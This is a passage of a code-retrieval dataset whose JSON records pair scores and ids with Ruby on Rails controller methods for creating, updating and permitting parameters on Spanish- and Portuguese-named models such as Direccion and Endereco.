}\n\t\t\t\tformat.xml { render :xml => @direccion, :status => :created, :location => @direccion }\n\t\t\telse\n\t\t\t\tformat.html { render :action => \"new\" }\n\t\t\t\tformat.xml { render :xml => @direccion.errors, :status => :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend", "title": "" }, { "docid": "69456168db1eeffe0d9602cd1db7af4a", "score": "0.6223578", "text": "def create\n @direccionusuario = Direccionusuario.new(params[:direccionusuario])\n\n respond_to do |format|\n if @direccionusuario.save\n format.html { redirect_to @direccionusuario, notice: 'Direccionusuario was successfully created.' }\n format.json { render json: @direccionusuario, status: :created, location: @direccionusuario }\n else\n format.html { render action: \"new\" }\n format.json { render json: @direccionusuario.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "dabe43840f7a9b65b7ba336a8c2932cd", "score": "0.61560583", "text": "def diretorio_params\n params.require(:diretorio).permit(:nome, :pessoa_id, :diretorio_id)\n end", "title": "" }, { "docid": "5c59423470262fe98adee25cde455b9e", "score": "0.61357224", "text": "def create\n params[:direccion][:usuario_id] = current_usuario.id\n\n format_direccion_params\n\n @direccion = Direccion.new(params[:direccion])\n\n if @direccion.save\n render 'direcciones/show'\n else\n render json: camelcase_keys_from_a_hash(@direccion.errors.messages), status: :bad_request\n end\n end", "title": "" }, { "docid": "64ccb96560fec29013867f07564c3231", "score": "0.60554624", "text": "def create\n @denuncia = Denuncia.new(params[:denuncia])\n @expedientes = Expediente.all\n @municipios = Municipio.all\n\n @denuncia.usuario = current_user\n @expediente = Expediente.find(params[:expediente_id])\n @denuncia.expediente = @expediente\n\n respond_to do |format|\n if @denuncia.save\n format.html { redirect_to @expediente, notice: 'Denuncia was successfully created.' }\n format.json { render json: @denuncia, status: :created, location: @denuncia }\n else\n format.html { render action: \"new_con_expediente\" }\n format.json { render json: @denuncia.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f33090bea044b2a3204d3126a1deb2c7", "score": "0.60513586", "text": "def create\n # original: @entrada = Entrada.new(entrada_params)\n\tproyecto = Proyecto.find(params[:proyecto_id])\n\t#params[:persona_id] = @creador\n\t@entrada = proyecto.entradas.create(entrada_params)\n\n\t\n respond_to do |format|\n if @entrada.save\n #format.html { redirect_to [@entrada.proyecto, @entrada], notice: 'Entrada was successfully created.' }\n\t\t\t\tformat.html { redirect_to proyecto_url(params[:proyecto_id]), notice: 'Entrada was successfully created.' }\n format.json { render action: 'show', status: :created, location: [@entrada.proyecto,@entrada] }\n else\n format.html { render action: 'new' }\n format.json { render json: @entrada.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2f6c22c7c85ad69a361c487fefdf59ef", "score": "0.60151654", "text": "def create\n @diretor = Diretor.new(diretor_params)\n\n respond_to do |format|\n if @diretor.save\n format.html { redirect_to @diretor, notice: 'Um novo diretor foi criado com sucesso.' }\n format.json { render json: @diretor, status: :created, location: @diretor }\n else\n format.html { render action: \"new\" }\n format.json { render json: @diretor.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "1db340b998d198038a0ce847adf9bdad", "score": "0.60108155", "text": "def create\n @direccion_negocio = DireccionNegocio.new(params[:direccion_negocio])\n\n respond_to do |format|\n if @direccion_negocio.save\n format.html { redirect_to @direccion_negocio, notice: 'Direccion negocio was successfully created.' }\n format.json { render json: @direccion_negocio, status: :created, location: @direccion_negocio }\n else\n format.html { render action: \"new\" }\n format.json { render json: @direccion_negocio.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "270b0424532c17d5e5970fd7a32a11ee", "score": "0.5999093", "text": "def create\n @diretor = Diretor.new(params[:diretor])\n\n respond_to do |format|\n if @diretor.save\n format.html { redirect_to @diretor, notice: 'Diretor was successfully created.' }\n format.json { render json: @diretor, status: :created, location: @diretor }\n else\n format.html { render action: \"new\" }\n format.json { render json: @diretor.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "dbe6cd6134e66f8caaacc2842f1a1ed5", "score": "0.5956499", "text": "def diretor_params\n params.require(:diretor).permit(:nome)\n end", "title": "" }, { "docid": "b31a151999b85213a30ac8489abd15ea", "score": "0.59273857", "text": "def create\n @endereco = Endereco.new(endereco_params)\n\n if @endereco.save\n render json: @endereco.to_json(include: {cidade: {include: {estado: {include: :pais}}}})\n else\n render json: @endereco.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "d7c1cd3eccb5fd64e5e304e67faedfd4", "score": "0.58808184", "text": "def direccion_params\n params.require(:direccion).permit(:sucursal_id, :calle, :numero, :colonia, :delegacion, :cp, :telefono, :referencia, :mapsgoogle, :matriz, :photo, :cliente_id)\n end", "title": "" }, { "docid": "d5b6080ec9c4600fcf9a0775877ea0b7", "score": "0.5869256", "text": "def direc_params\n params.require(:direc).permit(:nome, :dataNasc, :nBI, :morada, :cp, :localidade, :email, :user_id)\n end", "title": "" }, { "docid": "c19b2bfa21cdb1f0edf3809874981fcc", "score": "0.5845625", "text": "def update\n respond_to do |format|\n if @direcciones_entrega.update(direcciones_entrega_params)\n format.html { redirect_to @direcciones_entrega, notice: 'Direcciones entrega was successfully updated.' }\n format.json { render :show, status: :ok, location: @direcciones_entrega }\n else\n format.html { render :edit }\n format.json { render json: @direcciones_entrega.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e24f98b60f6db483ccb0d4684bbe54dc", "score": "0.583395", "text": "def direccion_params\n params.require(:direccion).permit(:barrio, :direccion, :tel, :numero_id, :municipio_id)\n end", "title": "" }, { "docid": "43db5233e827676737fe4d802fa84b4a", "score": "0.5801325", "text": "def create\n @clientes = Cliente.all\n @sucursales = Sucursal.where(\"cliente_id = ?\", params[:direccion][:cliente_id]).order(:nombre)\n\n #@direccion = Direccion.new(direccion_params)\n @direccion.sucursal_id =params[:direccion][:sucursal_id]\n @direccion.cliente_id =params[:direccion][:cliente_id]\n respond_to do |format|\n if @direccion.save\n format.html { redirect_to @direccion, notice: 'Direccion was successfully created.' }\n format.json { render action: 'show', status: :created, location: @direccion }\n else\n format.html { render action: 'new', :layout => \"layout_2\" }\n format.json { render json: @direccion.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "31769ce6ebccbd04c74643dbbcd6b1c8", "score": "0.57130337", "text": "def create\n @endereco = Endereco.new(params[:endereco])\n\n respond_to do |format|\n if @endereco.save\n if @endereco.enderecavel_type == 'Usuario'\n format.html { redirect_to Usuario.find(@telefone.enderecavel_id), :notice => 'Exemplo was successfully updated.' }\n format.json { head :ok }\n else\n format.html { redirect_to Cliente.find(@telefone.enderecavel_id), :notice => 'Exemplo was successfully created.' }\n format.json { render :json => @endereco, :status => :created, :location => @endereco }\n end\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @endereco.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e113c6704eeeb0d89c28837441400fb3", "score": "0.56865907", "text": "def new\n @direccionusuario = Direccionusuario.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @direccionusuario }\n end\n end", "title": "" }, { "docid": "2f0b8a7abb418822fe00397b70301b44", "score": "0.5683674", "text": "def entidade_params\n params.require(:entidade).permit(:entidade, :slug, :email, :responsavel, :municipio, :uf, :endereco, :telefone, :descricao, :descritor, :telecentro, :gesac, :ponto_cultura, :estudo_cultural, :quilombo, :quilombo_urbano, :capoeira, :terreiro, :nucleo_formacao, :grupo_mestre, :radio, :estudio, :roupa_acessorio, :evento, :latitude, :longitude)\n end", "title": "" }, { "docid": "403962568db596f7a82aece99a5608a4", "score": "0.5675241", "text": "def index\n @direcciones_entregas = current_user.direcciones_entregas\n end", "title": "" }, { "docid": "6dd48a4e63ebcad36def5840a4829bfb", "score": "0.5661695", "text": "def create\n @entrega = Entrega.new(params[:entrega])\n\n respond_to do |format|\n if @entrega.save\n format.html { redirect_to @entrega, notice: 'Entrega was successfully created.' }\n format.json { render json: @entrega, status: :created, location: @entrega }\n else\n format.html { render action: \"new\" }\n format.json { render json: @entrega.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f0f864e8698c92b5b084e72c1815a999", "score": "0.5652115", "text": "def new\n @direccion = Direccion.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @direccion }\n end\n end", "title": "" }, { "docid": "b769ebae55393646f523b1543a6c0ae6", "score": "0.5647673", "text": "def create\n prepara_form\n @locadora = Locadora.new(locadora_params)\n @locadora.endereco = Endereco.new(endereco_params)\n\n respond_to do |format|\n if @locadora.save\n format.html { redirect_to @locadora }\n format.json { render :show, status: :created, location: @locadora }\n else\n format.html { render :new }\n format.json { render json: @locadora.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a3f58d753e5abe7a2e707d64395b4cbc", "score": "0.56372035", "text": "def create\n @produto = Produto.new(params[:produto])\n\t @produto.idUser = current_user.id\n\n @entrega = Entrega.new(params[:entrega])\n @entrega.idMotorista = getMotorista\n @entrega.idUser = current_user.id\n @entrega.statusentrega = \"5\"\n @entrega.origem=getOrigem\n @entrega.destino=getDestino\n @entrega.data=getData\n @entrega.save\n @produto.idEntrega=@entrega.id\n respond_to do |format|\n if @produto.save\n \n format.html { redirect_to @produto, :notice => 'Produto cadastrado com sucesso.' }\n format.json { render :json => @produto, :status => :created, :location => @produto }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @produto.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f9754ef55d1ac5f94c67996871ef79be", "score": "0.5626017", "text": "def create\n\n \t@endereco = current_user.enderecos.build(endereco_params)\n\n respond_to do |format|\n if @endereco.save\n \n format.html { redirect_to account_path, notice: \"Endereço salvo com sucesso.\"}\n format.json { render :show, status: :created, location: account_path }\n else\n format.html { render :new }\n format.json { render json: @enderecos.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "0e41aa970212cd45243e973904b0545c", "score": "0.56010884", "text": "def create\n @entree = Entree.new(params[:entree])\n\n respond_to do |format|\n if @entree.save\n format.html { redirect_to @entree, notice: 'Entree was successfully created.' }\n format.json { render json: @entree, status: :created, location: @entree }\n else\n format.html { render action: \"new\" }\n format.json { render json: @entree.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "c242a4a807f11d7ce1277246c703be6e", "score": "0.55972433", "text": "def create\n @endereco = Endereco.new(endereco_params)\n\n respond_to do |format|\n if @endereco.save\n format.html { redirect_to @endereco, notice: 'Endereco was successfully created.' }\n format.json { render :show, status: :created, location: @endereco }\n else\n format.html { render :new }\n format.json { render json: @endereco.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "48123a0b05b4b54135b0bf394145d055", "score": "0.5590701", "text": "def create\n @direcciones_factura = current_user.direcciones_facturas.build(direcciones_factura_params)\n\n respond_to do |format|\n if @direcciones_factura.save\n format.html { redirect_to @direcciones_factura, notice: 'Direcciones factura was successfully created.' }\n format.json { render :show, status: :created, location: @direcciones_factura }\n else\n format.html { render :new }\n format.json { render json: @direcciones_factura.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e0264ee35077d54e8cf874465babaa11", "score": "0.5575375", "text": "def create\n @endereco = Endereco.new(params[:endereco])\n\n respond_to do |format|\n if @endereco.save\n format.html { redirect_to @endereco, notice: 'Endereco was successfully created.' }\n format.json { render json: @endereco, status: :created, location: @endereco }\n else\n format.html { render action: \"new\" }\n format.json { render json: @endereco.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e0264ee35077d54e8cf874465babaa11", "score": "0.5575375", "text": "def create\n @endereco = Endereco.new(params[:endereco])\n\n respond_to do |format|\n if @endereco.save\n format.html { redirect_to @endereco, notice: 'Endereco was successfully created.' }\n format.json { render json: @endereco, status: :created, location: @endereco }\n else\n format.html { render action: \"new\" }\n format.json { render json: @endereco.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "726507b7424796449e38bbd65c1c2afa", "score": "0.5554113", "text": "def create\n puts detalhe_params\n @atendimento = Atendimento.new(atendimento_params)\n @detalhe = AtendimentoDetalhe.new(\n atendimento: @atendimento,\n atendente: current_user,\n tipo: AtendimentoDetalhe.tipos.key(atendimento_params[:detalhe_tipo].to_i),\n descricao: atendimento_params[:detalhe_descricao]\n )\n respond_to do |format|\n if @atendimento.save && @detalhe.save\n format.html { redirect_to @atendimento, notice: 'Atendimento criado com sucesso.' }\n format.json { render :show, status: :created, location: @atendimento }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @atendimento.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "87ffcf72b79542019854e5ab7955cd99", "score": "0.55539954", "text": "def create\n @estudiante = Estudiante.new(params[:estudiante])\n\n if @estudiante.save\n render json: @estudiante, status: :created, location: @estudiante\n else\n render json: @estudiante.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "f3f8393b1567e4e9c5980121e375ff21", "score": "0.55468476", "text": "def create\n movimiento_de_caja = MovimientoDeCaja.find(params[:movimiento_de_caja_id])\n @movimiento_de_caja_detalle = movimiento_de_caja.movimientos_de_cajas_detalles.create(params[:movimiento_de_caja])\n respond_to do |format|\n if @movimiento_de_caja_detalle.save\n format.html { redirect_to [@movimiento_de_caja_detalle.movimiento_de_caja, @movimiento_de_caja_detalle] }\n format.json { render :show, status: :created, location: [@movimiento_de_caja_detalle.movimiento_de_caja, @movimiento_de_caja_detalle] }\n else\n format.html { render :new }\n format.json { render json: @movimiento_de_caja_detalle.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "4d0630d5a02b3d631a380b2d33327d29", "score": "0.55436546", "text": "def create\n @atendente = Atendente.new(params[:atendente])\n\n respond_to do |format|\n if @atendente.save\n format.html { redirect_to @atendente, :notice => 'Atendente was successfully created.' }\n format.json { render :json => @atendente, :status => :created, :location => @atendente }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @atendente.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "3e8ac96c16f5bf4a910546e7325d3a5a", "score": "0.5534139", "text": "def create\n @antecedente = Antecedente.new(antecedente_params)\n\n respond_to do |format|\n if @antecedente.save\n format.html { redirect_to index_antecedente_path(params[:antecedente][:paciente_id]),\n notice: 'Datos registrados correctamente. ' }\n else\n format.html { redirect_to index_antecedente_path(params[:antecedente][:paciente_id]),\n notice: 'Ocurrio un error mientras se guardaba el registro. ' }\n end\n end\n end", "title": "" }, { "docid": "eab7723b7532e8f2c52ebb4dd0cd3c77", "score": "0.5522226", "text": "def destroy\n @direcciones_entrega.destroy\n respond_to do |format|\n format.html { redirect_to direcciones_entregas_url, notice: 'Direcciones entrega was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "d02d7c2e531abf8304963657b977c401", "score": "0.55183053", "text": "def create\n @endereco_restaurante = EnderecoRestaurante.new(endereco_restaurante_params)\n\n respond_to do |format|\n if @endereco_restaurante.save\n format.html { redirect_to @endereco_restaurante, notice: 'Endereco restaurante was successfully created.' }\n format.json { render :show, status: :created, location: @endereco_restaurante }\n else\n format.html { render :new }\n format.json { render json: @endereco_restaurante.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b7dc4744d60bf2812e080252c7feeebd", "score": "0.55174685", "text": "def entidade_params\n params.require(:entidade).permit(:nome, :cnpj, :latitude, :longitude, :estado, :cidade, :bairro, :cep, :rua, :numero, :telefone, :contato, :status, :ramo_id)\n end", "title": "" }, { "docid": "6bc9e1bb7523746a1223bdc524208477", "score": "0.5508546", "text": "def create\n\n @notadecredito = Notadecredito.find(params[:notadecredito_id])\n @renglon_ndcdetalle = @notadecredito.renglon_ndcdetalles.create(params[:renglon_ndcdetalle])\n\n respond_to do |format|\n if @renglon_ndcdetalle.save\n format.html { redirect_to @notadecredito, notice: 'Renglon ndcdetalle was successfully created.' }\n format.json { render json: @renglon_ndcdetalle}\n else\n format.html { render action: \"new\" }\n format.json { render json: @renglon_ndcdetalle.errors}\n end\n end\n end", "title": "" }, { "docid": "d41f3611cfd27ae47ad57a5a046ee83c", "score": "0.5506157", "text": "def new\n @direccion_negocio = DireccionNegocio.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @direccion_negocio }\n end\n end", "title": "" }, { "docid": "26c82b4447f3908a71f23342e4b3d4a3", "score": "0.54978114", "text": "def create\n @tipo_endereco = TipoEndereco.new(tipo_endereco_params)\n\n respond_to do |format|\n if @tipo_endereco.save\n format.html { redirect_to @tipo_endereco, notice: 'Tipo endereco was successfully created.' }\n format.json { render :show, status: :created, location: @tipo_endereco }\n else\n format.html { render :new }\n format.json { render json: @tipo_endereco.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "932a6e283d0522387b9b0fa04b0f5cb7", "score": "0.5494474", "text": "def create\n @st_endereco = StEndereco.new(st_endereco_params)\n\n respond_to do |format|\n if @st_endereco.save\n format.html { redirect_to @st_endereco, notice: 'St endereco was successfully created.' }\n format.json { render :show, status: :created, location: @st_endereco }\n else\n format.html { render :new }\n format.json { render json: @st_endereco.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "604ca95728af642ae20e0db3cdfa2b52", "score": "0.54933226", "text": "def create\n params [:detalle_ordene].permit\n @detalle_ordene = DetalleOrden.new( params[:detalle_ordene])\n \n\n respond_to do |format|\n if @detalle_ordene.save\n format.html { redirect_to @detalle_ordene, notice: 'Detalle ordene was successfully created.' }\n format.json { render :show, status: :created, location: @detalle_ordene }\n else\n format.html { render :new }\n format.json { render json: @detalle_ordene.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "542e10d9998b4438bfe703562a2ee01c", "score": "0.54882854", "text": "def create\n @denunciante = Denunciante.new(denunciante_params)\n\n respond_to do |format|\n if @denunciante.save\n format.html { redirect_to @denunciante, notice: 'Denunciante was successfully created.' }\n format.json { render :show, status: :created, location: @denunciante }\n else\n format.html { render :new }\n format.json { render json: @denunciante.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e57144a63e11c2d86f8bcb7333e8be89", "score": "0.5476126", "text": "def create\n @denuncia = Denuncias.new(denuncia_params)\n\n respond_to do |format|\n if @denuncia.save\n format.html { redirect_to @denuncia, notice: 'Denuncias was successfully created.' }\n format.json { render :show, status: :created, location: @denuncia }\n else\n format.html { render :new }\n format.json { render json: @denuncia.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "bf7adb5a615ed446988cbf87c9be9bd2", "score": "0.54720324", "text": "def reglas_juego_params\n params.require(:reglas_juego).permit(:juego_id, :regla, :file)\n end", "title": "" }, { "docid": "e762f07f090a1d07940a7d6919d963da", "score": "0.54656994", "text": "def create\n @atendimento_detalhe = AtendimentoDetalhe.new(atendimento_detalhe_params)\n\n respond_to do |format|\n if @atendimento_detalhe.save\n format.html { redirect_to @atendimento_detalhe.atendimento, notice: 'Atendimento detalhe criado com sucesso.' }\n format.json { render :show, status: :created, location: @atendimento_detalhe }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @atendimento_detalhe.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "bf89708110fa88ec81ba36663b34a538", "score": "0.54618645", "text": "def dentista_params\n params.require(:dentista).permit(:nome, :especialidade, :cro, :salario, :rg, :cpf, :nascimento, :telefone, :email, :endereco)\n end", "title": "" }, { "docid": "8e960324e00e21e4ae0f8bc28cefdf85", "score": "0.5455838", "text": "def create\n @dato_entidad = DatoEntidad.new(dato_entidad_params)\n\n respond_to do |format|\n if @dato_entidad.save\n format.html { redirect_to @dato_entidad, notice: 'Dato creado exitosamente.' }\n format.json { render action: 'show', status: :created, location: @dato_entidad }\n else\n format.html { render action: 'new' }\n format.json { render json: @dato_entidad.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "4ca4c9398451a0537d4488a9d14320d5", "score": "0.545521", "text": "def create\n\n @notadedebito = Notadedebito.find(params[:notadedebito_id])\n @renglon_ndddetalle = @notadedebito.renglon_ndddetalles.create(params[:renglon_ndddetalle])\n\n respond_to do |format|\n if @renglon_ndddetalle.save\n format.html { redirect_to @notadedebito, notice: 'Renglon ndddetalle was successfully created.' }\n format.json { render json: @renglon_ndddetalle }\n else\n format.html { render action: \"new\" }\n format.json { render json: @renglon_ndddetalle.errors }\n end\n end\n end", "title": "" }, { "docid": "5926cca90c3c552f2f2a511530cce4ed", "score": "0.5450671", "text": "def create\n @entrada_nf = EntradaNf.new(entrada_nf_params)\n\n respond_to do |format|\n if @entrada_nf.save\n format.html { redirect_to @entrada_nf, notice: 'Entrada nf incluida com sucesso.' }\n format.json { render :show, status: :created, location: @entrada_nf }\n else\n format.html { render :new }\n format.json { render json: @entrada_nf.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "17d2f04addc72a3adf2c28177e0dde49", "score": "0.5443628", "text": "def create\n @tiempos_de_entrega = TiemposDeEntrega.new(tiempos_de_entrega_params)\n\n respond_to do |format|\n if @tiempos_de_entrega.save\n format.html { redirect_to @tiempos_de_entrega, notice: 'Tiempos de entrega was successfully created.' }\n format.json { render :show, status: :created, location: @tiempos_de_entrega }\n else\n format.html { render :new }\n format.json { render json: @tiempos_de_entrega.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "dc2b64e1f87824800b37093cb357a079", "score": "0.5442464", "text": "def create\n @especialidad = Especialidad.new(params[:especialidad])\n\n respond_to do |format|\n if @especialidad.save\n format.html { redirect_to @especialidad, :notice => 'Especialidad was successfully created.' }\n format.json { render :json => @especialidad, :status => :created, :location => @especialidad }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @especialidad.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d2d114bd505b1b88106b03d9058683e6", "score": "0.5438429", "text": "def st_endereco_params\n params.require(:st_endereco).permit(:nome_rua, :desc_quadra, :desc_lote, :desc_numero, :desc_complemento, :desc_cep, :latitude, :longitude, :st_bairro_id, :st_cidade_id)\n end", "title": "" }, { "docid": "21abdb62de692dd20dc053e0641cb312", "score": "0.54331523", "text": "def create\n #obteniendo el campo de nombre\n @nombre = params[:entrada][\"nombre\"]\n #instanciando el formulario\n @entrada = Entrada.new(entrada_params)\n #consulta por nombre\n @entrada_name = Entrada.find_by(nombre: @nombre)\n @articulo_data = Articulo.find_by(nombre: @nombre)\n\n if @articulo_data\n \n if @entrada_name\n flash[:error] = \"El articulo ya esta registrado en las entradas.\"\n redirect_to \"/entradas/new\"\n else\n @entrada.save\n Entrada.last.update_attribute(:unidad, @articulo_data.unidad)\n Entrada.last.update_attribute(:precio, @articulo_data.precio)\n flash[:success] = \"La entrada se ha registrado.\"\n redirect_to \"/entradas/new\"\n \n end\n\n else\n flash[:error] = \"El articulo no esta dado de alta.\"\n redirect_to \"/entradas/new\"\n\n end\n \n end", "title": "" }, { "docid": "89b204764aa457b961118e42d6315e3d", "score": "0.5429885", "text": "def create\n @entrada = Entrada.new(entrada_params)\n\n respond_to do |format|\n if @entrada.save\n format.html { redirect_to entradas_path, notice: 'Entrada criada com sucesso.' }\n format.json { render :show, status: :created, location: @entrada }\n else\n format.html { render :new }\n format.json { render json: @entrada.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "c899737a07bb8a936c2e60045fd532b3", "score": "0.542752", "text": "def create\n @contelefono = find_contelefono\n @telefono = Telefono.new(params[:telefono])\n @contelefono.telefonos << @telefono\n\n respond_to do |format|\n if @contelefono.save\n #format.html { redirect_to redirigir(@contelefono), :notice => 'El telefono fue ingresado correctamente.' }\n format.json { render json: @contelefono}\n else\n #format.html { render :action => \"new\" }\n format.json { render json: @telefono.errors }\n end\n end\n end", "title": "" }, { "docid": "5a4eed3d84ceef03a8cadfae83206831", "score": "0.5421389", "text": "def create\n @nave_nodriza = NaveNodriza.new(nave_nodriza_params)\n\n respond_to do |format|\n if @nave_nodriza.save\n format.html { redirect_to nave_nodrizas_path, notice: 'Nave nodriza was successfully created.' }\n format.json { render action: 'show', status: :created, location: @nave_nodriza }\n else\n format.html { render action: 'new' }\n format.json { render json: @nave_nodriza.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "1166c3500d047f60208928f7a1ec4fe8", "score": "0.5414354", "text": "def create\n @crew_diretory = Crew::Diretory.new(crew_diretory_params)\n\n respond_to do |format|\n if @crew_diretory.save\n format.html { redirect_to @crew_diretory, notice: 'Diretory was successfully created.' }\n format.json { render :show, status: :created, location: @crew_diretory }\n else\n format.html { render :new }\n format.json { render json: @crew_diretory.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "638601b71f85dbec0ab3608d4c1451cc", "score": "0.5411637", "text": "def create\n @entrevista = Entrevista.new(params[:entrevista])\n\n respond_to do |format|\n if @entrevista.save\n format.html { redirect_to @entrevista, notice: 'Entrevista was successfully created.' }\n format.json { render json: @entrevista, status: :created, location: @entrevista }\n else\n format.html { render action: \"new\" }\n format.json { render json: @entrevista.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a3d9b22e4fded1bb9160107c345464a2", "score": "0.54063845", "text": "def create\n @entidade = Entidade.new(params[:entidade])\n\n respond_to do |format|\n if @entidade.save\n format.html { redirect_to @entidade, notice: 'Entidade was successfully created.' }\n format.json { render json: @entidade, status: :created, location: @entidade }\n else\n format.html { render action: \"new\" }\n format.json { render json: @entidade.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "c351468a748bb48994efe2a204258c61", "score": "0.5404912", "text": "def create\n @oficina = Oficina.new(oficina_params)\n endereco = Endereco.new\n endereco.cep = params[:oficina][:cep]\n endereco.logradouro = params[:oficina][:logradouro]\n endereco.bairro = params[:oficina][:bairro]\n endereco.lote = params[:oficina][:numero]\n endereco.complemento = params[:oficina][:complemento]\n cidade = Cidade.find_by_nome(params[:oficina][:cidade]) ? Cidade.find_by_nome(params[:oficina][:cidade]) : Cidade.new(nome: params[:oficina][:cidade])\n estado = Estado.find_by_sigla params[:oficina][:estado]\n cidade.estado = estado\n endereco.usuario = @oficina.usuario\n @oficina.franquia = @oficina.usuario.franquia\n cidade.save\n endereco.cidade = cidade\n if endereco.save!\n @oficina.endereco = endereco\n respond_to do |format|\n if @oficina.save\n format.html { redirect_to @oficina, notice: 'Oficina foi criada com sucesso.' }\n format.json { render :show, status: :created, location: @oficina }\n else\n format.html { render :new }\n format.json { render json: @oficina.errors, status: :unprocessable_entity }\n end\n end\n end\n end", "title": "" }, { "docid": "f7068ac9b2c6fa9d00cef5d67963d859", "score": "0.5388006", "text": "def create\n @registro_cliente_servicio_detalle = Registro::ClienteServicioDetalle.new(registro_cliente_servicio_detalle_params)\n\n respond_to do |format|\n if @registro_cliente_servicio_detalle.save\n format.html { redirect_to @registro_cliente_servicio_detalle, notice: 'Cliente servicio detalle was successfully created.' }\n format.json { render :show, status: :created, location: @registro_cliente_servicio_detalle }\n else\n format.html { render :new }\n format.json { render json: @registro_cliente_servicio_detalle.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "3fc37fce86b6058a1574d69691495a2f", "score": "0.5387517", "text": "def create\n @atendente = Atendente.new(atendente_params)\n\n respond_to do |format|\n if @atendente.save\n format.html { redirect_to @atendente, notice: 'Atendente was successfully created.' }\n format.json { render :show, status: :created, location: @atendente }\n else\n format.html { render :new }\n format.json { render json: @atendente.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "48463da47725a1c8d2f60a83a5dbf4d6", "score": "0.5385848", "text": "def denuncia_params\n params.require(:denuncia).permit(:descricao, :status, :latitude, :longitude, :usuario_criador, :medida)\n end", "title": "" }, { "docid": "77e6f669393cd0c7df7d6e5c71aab4d5", "score": "0.5383628", "text": "def create\n @especialidad = Especialidad.new(especialidad_params)\n\n respond_to do |format|\n if @especialidad.save\n format.html { redirect_to especialidades_url, notice: 'Especialidad was successfully created.' }\n format.json { render :index, status: :created, location: @especialidad }\n else\n format.html { render :new }\n format.json { render json: @especialidad.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "0e49a23a6f9ef38388d755d085effc1a", "score": "0.53760743", "text": "def administracao_departamento_params\n params.require(:administracao_departamento).permit(:nome, :sigla, :nome_responsavel, :descricao, :entidade_id, :responsavel_id, :e_um_destino, :usa_moto,:usa_especial,endereco_attributes: [:logradouro, :numero, :complemento, :estado_id, :cidade_id, :bairro_id, :cep, :endereco, :latitude, :longitude])\n end", "title": "" }, { "docid": "69b0ad3e80e4f69f9ea242215f5b7eee", "score": "0.5375008", "text": "def create\n @especialidad = Especialidad.new(especialidad_params)\n\n respond_to do |format|\n if @especialidad.save\n format.html { redirect_to @especialidad, notice: 'Especialidad creada exitosamente.' }\n format.json { render :show, status: :created, location: @especialidad }\n else\n format.html { render :new }\n format.json { render json: @especialidad.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "0d1f8e9052d692d06c13f94915a9619f", "score": "0.5371398", "text": "def index\n @diretorios = Diretorio.where(pessoa_id: params[:usuario]).first\n render json: @diretorios\n end", "title": "" }, { "docid": "878830dbc8f6247605864b59da840b0a", "score": "0.53691614", "text": "def create\n @direc = Direc.new(direc_params)\n\t@user = User.new(user_params)\n\n respond_to do |format|\n if @user.save\n\t\t@direc.user_id = @user.id;\n\t\tif @direc.save\n\t\t\tformat.html { redirect_to @direc, notice: 'Direc was successfully created.' }\n\t\t\tformat.json { render :show, status: :created, location: @direc }\n\t\tend\n else\n format.html { render :new }\n format.json { render json: @direc.errors, status: :unprocessable_entity }\n end\n 